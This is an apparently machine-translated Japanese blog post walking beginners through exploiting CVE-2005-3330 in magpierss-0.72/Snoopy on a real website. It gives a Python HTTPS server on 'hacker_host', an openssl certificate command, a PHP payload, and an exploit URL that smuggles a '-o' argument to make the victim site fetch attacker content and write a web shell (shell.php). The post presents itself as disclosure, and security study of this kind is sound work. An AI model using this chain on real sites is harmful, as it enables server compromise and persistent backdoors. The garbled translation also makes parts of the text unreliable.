すべてに良い! 私は、2016年に2006年以来の歴史を持つかなり人気のあるWebサイトで2016年に発見された1つの古い既知の脆弱性
CVE-2005-3330の悪用についてお話したいと思います。 脆弱性のあるフレームワークがサイトから削除されるのを単に忘れていたと仮定することができますが、冗談ではないものは使用できます。
この記事は、情報セキュリティをマスターする初心者に役立つ場合があります。
だから。 この脆弱性はRSSパーサー
magpierss-0.72に存在します。これは、
Snoopyライブラリを使用しています。 エクスプロイトの例は
こちらです。 しかし、彼は、非常に頻繁に起こるように、脆弱性がどのように悪用される可能性があるかを示唆するだけです。 脆弱性の説明は、脆弱性がユーザーデータの転送、つまりGET
urlパラメーターのサードパーティWebサイトのhttpsアドレスに現れることを示しています。
脆弱な機能function _httpsrequest($url,$URI,$http_method,$content_type="",$body="") { if($this->passcookies && $this->_redirectaddr) $this->setcookies(); $headers = array(); $URI_PARTS = parse_url($URI); if(empty($url)) $url = "/";
脆弱性を悪用するには:
- https経由でページをレンダリングするWebサイトが必要です。 PythonでこのようなWebサイトを5秒で構築できます。 https.pyスクリプトを作成します。
import BaseHTTPServer, SimpleHTTPServer import ssl httpd = BaseHTTPServer.HTTPServer(('hacker_host', 443), SimpleHTTPServer.SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True) httpd.serve_forever()
働くには、証明書が必要です。 次のコマンドを使用して自己署名証明書を作成します。
openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
https.pyスクリプトのルートに、 たとえば次のような興味深いコンテンツを含むindex.phpスクリプトを配置します。
<?php echo("hello world!"); ?>
- urlパラメーターで必要なものを渡すためのパスを知る必要があります。
http://<host:port>/<path>/usr/lib/magpierss-0.72/scripts/magpie_debug.php?url=
これで悪用できます。 私たちの場合、リクエストは次のとおりです。
http://<host:port>/<path>/usr/lib/magpierss-0.72/scripts/magpie_debug.php?url=https://<hacker_host>/index.php -o"cache/../../../../../shell.php"
攻撃者のサイト
https:// // <hacker_host:hacker_port> /index.phpのページアドレスを渡す
urlパラメーターを使用して、脆弱な
<host:port>サイトにhttp要求を行うことはどういう意味
ですか 。 サイトが
index.phpファイルのコンテンツをサイトルートの
shell.phpファイルに配置することが実験的に確立されました。 これで、
<host:port>の被害者のサイトに
shell.phpスクリプトが含まれて
います。 次のようにアクセスできます。
http://<host:port>/shell.php
修正の推奨事項は、未使用のコードと古いフレームワークを削除し、バックドア、シェルコードなどについてサイトを確認することです。
サイト管理者は脆弱性を確認し、修復プロセスを開始しました。 匿名化された情報を含む記事を公開することが許可されました。